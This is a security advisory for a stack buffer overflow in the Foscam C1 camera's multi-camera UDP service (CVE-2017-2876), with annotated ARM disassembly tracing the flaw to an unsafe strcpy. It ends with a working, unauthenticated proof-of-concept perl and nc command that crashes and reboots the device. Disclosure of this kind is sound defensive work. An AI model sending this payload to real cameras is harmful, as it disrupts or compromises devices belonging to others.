CVE-2017-2876
An exploitable buffer overflow vulnerability exists in the Multi-Camera interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted request on port 10000 can cause a buffer overflow resulting in overwriting arbitrary data.
Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26
http://www.foscam.com/downloads/index.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-121: Stack-based Buffer Overflow
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.
The device has a Multi-Camera feature that allows cameras to communicate with each other, in order to display multiple streams on a unique web interface. Communication between cameras happen on UDP ports 10000 and 10001 and is handled by the binary “devMng”.
sub_29A98
is the threaded function that manages incoming messages on both ports using select
[1].
If a message is sent to port 10000, the function multicamera_p10000
is called [2].
```
.text:00029A98 sub_29A98
.text:00029A98
.text:00029A98 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
.text:00029A9C 10 30 A0 E3 MOV R3, #0x10
.text:00029AA0 71 DF 4D E2 SUB SP, SP, #0x1C4
.text:00029AA4 BC 31 8D E5 STR R3, [SP,#0x1E0+var_24]
.text:00029AA8 5C 33 9F E5 LDR R3, =0x3DE
.text:00029AAC 00 30 8D E5 STR R3, [SP,#0x1E0+timeout]
.text:00029AB0 58 33 9F E5 LDR R3, =aStartListenDis ; "Start listen discovery port"
.text:00029AB4 00 40 A0 E1 MOV R4, R0
.text:00029AB8 04 30 8D E5 STR R3, [SP,#0x1E0+addr_len]
.text:00029ABC 06 00 A0 E3 MOV R0, #6
.text:00029AC0 4C 33 9F E5 LDR R3, =aIpcamdiscovery ; "IPCamDiscovery/CIPCamDiscovery.cpp"
.text:00029AC4 03 10 A0 E3 MOV R1, #3
.text:00029AC8 48 23 9F E5 LDR R2, =(aMayNotBeAvaila+0x19)
.text:00029ACC 06 A4 FF EB BL _Z8wirteLogiiPKcS0_iS0_z
...
.text:00029BC0 01 0B A0 E3 MOV R0, #0x400
.text:00029BC4 05 20 A0 E1 MOV R2, R5
.text:00029BC8 05 30 A0 E1 MOV R3, R5
.text:00029BCC B0 51 8D E5 STR R5, [SP,#0x1E0+var_30]
.text:00029BD0 C6 A2 FF EB BL select ; [1]
.text:00029BD4 05 00 50 E1 CMP R0, R5
.text:00029BD8 78 00 00 0A BEQ loc_29DC0
.text:00029BDC 0B 00 00 AA BGE loc_29C10
...
.text:00029C10 loc_29C10
...
.text:00029C30 28 00 00 0A BEQ loc_29CD8
...
.text:00029C50 04 30 8D E5 STR R3, [SP,#0x1E0+addr_len]
.text:00029C54 0C 00 94 E5 LDR R0, [R4,#0xC]
.text:00029C58 08 10 A0 E1 MOV R1, R8 ; buffer
.text:00029C5C 01 2C A0 E3 MOV R2, #0x100
.text:00029C60 05 30 A0 E1 MOV R3, R5
.text:00029C64 00 70 8D E5 STR R7, [SP,#0x1E0+timeout]
.text:00029C68 20 A4 FF EB BL recvfrom
...
.text:00029CB8 E5 FE FF EB BL multicamera_p10000 ; [2]
```
multicamera_p10000
receives the “CIPCamDiscovery” object [3], the message [4] and its length [5] as parameters. The message header “MO_I” is checked [6] and the 16bit command identifier is extracted [7].
If the “discovery” command (“0x0002”) is used [8], the 32bit payload size is extracted and verified against the length of the whole message minus 0x17 (the header length) [9].
If all checks are passed the function sub_27BEC
is called [10].
```
.text:00029854 multicamera_p10000
.text:00029854
.text:00029854 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
.text:00029858 00 00 51 E3 CMP R1, #0
.text:0002985C 00 00 52 13 CMPNE R2, #0
.text:00029860 4C D0 4D E2 SUB SP, SP, #0x4C
.text:00029864 03 A0 A0 E1 MOV R10, R3
...
.text:0002989C 05 00 A0 E1 MOV R0, R5
.text:000298A0 D4 11 9F E5 LDR R1, =aMo_i ; "MO_I"
.text:000298A4 6E A5 FF EB BL strcmp
.text:000298A8 00 50 50 E2 SUBS R5, R0, #0
.text:000298AC 68 00 00 1A BNE loc_29A54
.text:000298B0 04 30 D6 E5 LDRB R3, [R6,#4]
.text:000298B4 05 20 D6 E5 LDRB R2, [R6,#5]
.text:000298B8 02 34 83 E1 ORR R3, R3, R2,LSL#8
.text:000298BC 03 38 A0 E1 MOV R3, R3,LSL#16
.text:000298C0 43 38 A0 E1 MOV R3, R3,ASR#16 ; [7]
.text:000298C4 02 00 53 E3 CMP R3, #2 ; [8]
.text:000298C8 2F 00 00 0A BEQ loc_2998C
...
.text:0002998C loc_2998C
.text:0002998C 0F 30 D6 E5 LDRB R3, [R6,#0xF]
.text:00029990 10 20 D6 E5 LDRB R2, [R6,#0x10]
.text:00029994 02 24 83 E1 ORR R2, R3, R2,LSL#8
.text:00029998 11 30 D6 E5 LDRB R3, [R6,#0x11]
.text:0002999C 03 28 82 E1 ORR R2, R2, R3,LSL#16
.text:000299A0 12 30 D6 E5 LDRB R3, [R6,#0x12]
.text:000299A4 03 2C 82 E1 ORR R2, R2, R3,LSL#24
.text:000299A8 17 30 82 E2 ADD R3, R2, #0x17
.text:000299AC 03 00 57 E1 CMP R7, R3 ; [9]
.text:000299B0 C0 10 A0 13 MOVNE R1, #0xC0
.text:000299B4 1C 00 00 1A BNE loc_29A2C
.text:000299B8 04 00 A0 E1 MOV R0, R4
.text:000299BC 17 10 86 E2 ADD R1, R6, #0x17
.text:000299C0 0A 30 A0 E1 MOV R3, R10
.text:000299C4 00 80 8D E5 STR R8, [SP,#0x68+var_68]
.text:000299C8 87 F8 FF EB BL sub_27BEC ; [10]
```
sub_27BEC
expects a message containing the MAC address of the receiving device. If the MAC is correct [11], username [12] and password [13] fields are extracted from the message and stored in a buffer [14] that will be sent to another process using an IPC call with code 0x400C [15]: this invokes the function “OnWebSericeUsrCheck” in the “webservice” binary, which is used to check username and password correctness.
```
.text:00027BEC sub_27BEC
.text:00027BEC
.text:00027BEC var_B8= -0xB8
.text:00027BEC var_B4= -0xB4
.text:00027BEC var_B0= -0xB0
.text:00027BEC var_AC= -0xAC
.text:00027BEC var_A8= -0xA8
.text:00027BEC var_44= -0x44
.text:00027BEC s = -0x40
.text:00027BEC arg_0= 0
.text:00027BEC
.text:00027BEC F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
.text:00027BF0 00 60 51 E2 SUBS R6, R1, #0
.text:00027BF4 9C D0 4D E2 SUB SP, SP, #0x9C
.text:00027BF8 00 50 A0 E1 MOV R5, R0
.text:00027BFC 03 70 A0 E1 MOV R7, R3
.text:00027C00 06 00 00 1A BNE loc_27C20
...
.text:00027C20 loc_27C20
.text:00027C20 00 00 53 E3 CMP R3, #0
.text:00027C24 0A 00 00 1A BNE loc_27C54
...
.text:00027C54 loc_27C54
.text:00027C54 78 40 8D E2 ADD R4, SP, #0xB8+s
.text:00027C58 20 20 A0 E3 MOV R2, #0x20
.text:00027C5C 00 10 A0 E3 MOV R1, #0
.text:00027C60 04 00 A0 E1 MOV R0, R4
.text:00027C64 D9 AB FF EB BL memset
.text:00027C68 04 10 A0 E1 MOV R1, R4
.text:00027C6C E0 00 9F E5 LDR R0, =unk_875B0
.text:00027C70 E6 AC 00 EB BL read_mac ; [11]
.text:00027C74 04 00 A0 E1 MOV R0, R4
.text:00027C78 04 10 86 E2 ADD R1, R6, #4
.text:00027C7C 78 AC FF EB BL strcmp ; [11]
.text:00027C80 00 00 50 E3 CMP R0, #0
.text:00027C84 F0 FF FF 1A BNE loc_27C4C
.text:00027C88 4F 40 D5 E5 LDRB R4, [R5,#0x4F]
.text:00027C8C 00 00 54 E3 CMP R4, #0
.text:00027C90 06 00 00 0A BEQ loc_27CB0
...
.text:00027CB0 loc_27CB0
.text:00027CB0 01 80 A0 E3 MOV R8, #1
.text:00027CB4 4F 80 C5 E5 STRB R8, [R5,#0x4F]
.text:00027CB8 12 00 85 E2 ADD R0, R5, #0x12
.text:00027CBC 06 10 A0 E1 MOV R1, R6
.text:00027CC0 10 50 8D E2 ADD R5, SP, #0xB8+var_A8 ; [14]
.text:00027CC4 3D 20 A0 E3 MOV R2, #0x3D
.text:00027CC8 68 A0 A0 E3 MOV R10, #0x68
.text:00027CCC 9D A9 FF EB BL memcpy
.text:00027CD0 0A 20 A0 E1 MOV R2, R10
.text:00027CD4 04 10 A0 E1 MOV R1, R4
.text:00027CD8 05 00 A0 E1 MOV R0, R5
.text:00027CDC BB AB FF EB BL memset
.text:00027CE0 11 10 86 E2 ADD R1, R6, #0x11
.text:00027CE4 05 00 A0 E1 MOV R0, R5
.text:00027CE8 F0 AC FF EB BL strcpy ; [12]
.text:00027CEC 1E 10 86 E2 ADD R1, R6, #0x1E
.text:00027CF0 20 00 85 E2 ADD R0, R5, #0x20
.text:00027CF4 ED AC FF EB BL strcpy ; [13]
.text:00027CF8 07 10 A0 E1 MOV R1, R7
.text:00027CFC 40 00 85 E2 ADD R0, R5, #0x40
.text:00027D00 EA AC FF EB BL strcpy ; IP address
.text:00027D04 B8 30 9D E5 LDR R3, [SP,#0xB8+arg_0]
.text:00027D08 74 30 8D E5 STR R3, [SP,#0xB8+var_44]
.text:00027D0C 4C 00 9F E5 LDR R0, =unk_8A480
.text:00027D10 4C 10 9F E5 LDR R1, =0x400C ; [15]
.text:00027D14 08 20 A0 E1 MOV R2, R8
.text:00027D18 05 30 A0 E1 MOV R3, R5
.text:00027D1C 00 A0 8D E5 STR R10, [SP,#0xB8+var_B8]
.text:00027D20 04 40 8D E5 STR R4, [SP,#0xB8+var_B4]
.text:00027D24 08 40 8D E5 STR R4, [SP,#0xB8+var_B0]
.text:00027D28 0C 40 8D E5 STR R4, [SP,#0xB8+var_AC]
.text:00027D2C A2 AA FF EB BL _ZN10CMsgClient7sendMsgEicPKciiiPc ; [15]
.text:00027D30 04 00 A0 E1 MOV R0, R4
.text:00027D34
.text:00027D34 loc_27D34
.text:00027D34 9C D0 8D E2 ADD SP, SP, #0x9C
.text:00027D38 F0 85 BD E8 LDMFD SP!, {R4-R8,R10,PC}
```
At [12] the username is placed in the IPC buffer on the stack using an unsafe strcpy
, which doesn’t take into account the maximum length of the destination buffer. Since the maximum message length is 233 bytes and the buffer is smaller than that, this bug could be used by an attacker to overwrite sensitive data in the stack and execute arbitrary code.
This vulnerability is reachable by the “discovery” command (0x0002) and doesn’t need authentication. The following proof of concept overwrites the saved PC on the stack and jumps to a piece of code that reboots the device.
```
$ sIP="192.168.0.10"
$ sMac="001122334455"
$ perl -e 'print "MO_I","\x02\x00","A"x9,"\xa6\x00\x00\x00","B"x8;' -e "print \"${sMac}\x00\";" -e 'print "\x00"x13,"C"x132,"\x98\xfc\x03\x00"' | nc -u $sIP 10000
```
2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.